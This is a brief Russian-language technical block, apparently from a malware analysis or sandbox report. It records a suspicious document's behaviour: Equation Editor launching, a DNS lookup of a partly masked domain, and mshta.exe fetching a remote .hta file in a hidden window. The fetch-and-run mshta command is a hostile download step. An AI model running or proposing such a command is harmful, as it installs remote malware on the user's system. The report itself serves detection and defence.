Техническая информация
- '%WINDIR%\syswow64\mshta.exe' HtTp://ih###ogd.6f.sk/fafa.hta
- DNS ASK ih###ogd.6f.sk
- '%WINDIR%\syswow64\mshta.exe' HtTp://ih###ogd.6f.sk/fafa.hta' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding